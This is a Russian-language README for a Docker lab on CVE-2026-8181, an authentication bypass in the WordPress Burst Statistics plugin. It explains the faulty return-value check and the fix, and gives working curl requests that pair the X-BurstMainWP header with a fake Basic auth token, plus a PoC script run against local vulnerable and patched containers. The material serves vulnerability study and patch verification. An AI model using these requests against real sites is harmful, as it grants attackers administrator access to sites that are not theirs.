
Docker-лаборатория, демонстрирующая обход аутентификации CVE-2026-8181 в плагине WordPress Burst Statistics. Сравнивает уязвимую и исправленную версии с безвредным PoC, чтобы проиллюстрировать неправильную аутентификацию в REST API запросах.
Локальная Docker-лаборатория для CVE-2026-8181, обхода аутентификации в плагине WordPress Burst Statistics – Privacy-Friendly WordPress Analytics.
Эта лаборатория сравнивает уязвимую версию плагина с исправленной и использует PoC с минимальным вредом, чтобы доказать различие без создания пользователей, загрузки файлов или изменения состояния WordPress.
Затронутый плагин: Burst Statistics – Privacy-Friendly WordPress Analytics
Уязвимые версии: 3.4.0 – 3.4.1.1
Исправленная версия: 3.4.2
Тип уязвимости: Обход аутентификации / Некорректная аутентификация
Воздействие: Неаутентифицированный злоумышленник может выдать себя за администратора на время запроса к REST API, если ему известно действительное имя пользователя администратора.
В этой лаборатории:
vuln запускает Burst Statistics 3.4.1.1patched запускает Burst Statistics 3.4.2X-BurstMainWP: 1Сервис seed устанавливает WordPress, создает администратора лаборатории и активирует Burst Statistics в обеих средах.
Имя пользователя администратора лаборатории:
labadmin
PoC намеренно использует неправильный пароль для доказательства обхода.
Burst Statistics включает путь прокси-аутентификации, связанный с MainWP. Когда запрос REST API содержит этот заголовок:
X-BurstMainWP: 1
Burst делегирует аутентификацию методу MainWP_Proxy::is_mainwp_authenticated().
В уязвимой версии функция читает контролируемые злоумышленником учетные данные Basic Authentication, извлекает имя пользователя и пароль и передает их ядру WordPress:
$is_valid = wp_authenticate_application_password( null, $username, $password );
Ошибка заключается в проверке возвращаемого значения.
3.4.1.1Упрощено из includes/Frontend/class-mainwp-proxy.php:
$is_valid = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $is_valid ) ) {
return false;
}
$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
return false;
}
wp_set_current_user( $user->ID );
return true;
Уязвимый код отклоняет только WP_Error. Однако wp_authenticate_application_password() может вернуть null или другое не-пользовательское значение, когда аутентификация на самом деле не удалась. Поскольку null не является WP_Error, проверка проходит.
После этого плагин ищет указанного пользователя и вызывает:
wp_set_current_user( $user->ID );
Это заставляет WordPress обрабатывать текущий запрос REST API как этого пользователя. Если имя пользователя принадлежит администратору, проверки прав WordPress видят администратора на время запроса.
Исправленная версия устраняет ошибку в проверке аутентификации, требуя настоящий объект аутентифицированного пользователя перед продолжением.
3.4.2Концептуально исправление выглядит так:
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
if ( ! $authenticated_user instanceof \WP_User ) {
return false;
}
Важное изменение в том, что просто «неошибочное» возвращаемое значение больше не достаточно. Результат аутентификации должен быть реальным объектом \WP_User.
Это блокирует уязвимый путь, где null обходил старую проверку is_wp_error().
Лаборатория демонстрирует read-only доказательство с помощью:
/wp/v2/users/me?context=edit
Этой конечной точки достаточно, чтобы показать, считает ли WordPress запрос аутентифицированным.
Реальное воздействие может быть выше, чем в этой лабораторной работе. Если злоумышленник может выдать себя за администратора для запроса REST API, он может получить доступ к привилегированным конечным точкам WordPress. В типичных конфигурациях WordPress доступ администратора может привести к полному захвату сайта через создание учетных записей, пароли приложений, установку плагинов, изменение темы или другие административные действия.
Этот репозиторий намеренно избегает таких деструктивных путей.
docker compose up -d --build
Дождитесь завершения одноразового сервиса seed:
docker compose logs seed
Ожидаемый вывод seed:
[+] vuln: Burst Statistics version = 3.4.1.1
[+] patched: Burst Statistics version = 3.4.2
[+] Seed complete
Установите зависимость Python:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
Запустите PoC против уязвимого сервиса:
python poc/poc.py --base-url http://127.0.0.1:8081 --admin-user labadmin
Ожидаемый результат для уязвимого:
=== baseline without bypass headers ===
status: 401
=== with X-BurstMainWP + fake Basic password ===
status: 200
roles: ["administrator"]
[+] LIKELY VULNERABLE: request was treated as an authenticated user/admin context.
Запустите тот же PoC против исправленного сервиса:
python poc/poc.py --base-url http://127.0.0.1:8082 --admin-user labadmin
Ожидаемый результат для исправленного:
=== baseline without bypass headers ===
status: 401
=== with X-BurstMainWP + fake Basic password ===
status: 401
[+] LIKELY PATCHED/NOT VULNERABLE: bypass headers did not authenticate the request.
Сгенерируйте поддельный токен Basic Authentication:
TOKEN=$(printf 'labadmin:not-the-real-password' | base64)
Базовый запрос без заголовков обхода:
curl -sS -i \
'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'
Ожидается:
HTTP/1.1 401 Unauthorized
rest_not_logged_in
Попытка обхода:
curl -sS -i \
-H 'X-BurstMainWP: 1' \
-H "Authorization: Basic $TOKEN" \
'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'
Ожидается:
HTTP/1.1 200 OK
"slug":"labadmin"
"roles":["administrator"]
Запустите ту же попытку обхода против исправленного сервиса:
curl -sS -i \
-H 'X-BurstMainWP: 1' \
-H "Authorization: Basic $TOKEN" \
'http://127.0.0.1:8082/?rest_route=/wp/v2/users/me&context=edit'
Ожидается:
HTTP/1.1 401 Unauthorized
rest_not_logged_in
Уязвимый сервис четко показывает изменение поведения:
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 200
Исправленный сервис отклоняет как неаутентифицированные, так и попытки обхода:
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 401
Этот PoC намеренно наносит минимальный вред:
Используйте эту лабораторию только в вашем локальном Docker-окружении.
| Сервис | Описание | URL |
|---|
vuln | WordPress + Burst Statistics 3.4.1.1 | http://127.0.0.1:8081 |
patched | WordPress + Burst Statistics 3.4.2 | http://127.0.0.1:8082 |
db_vuln | MySQL для уязвимого WordPress | Только внутренний |
db_patched | MySQL для исправленного WordPress | Только внутренний |
seed | Одноразовый контейнер настройки WP-CLI | Только внутренний |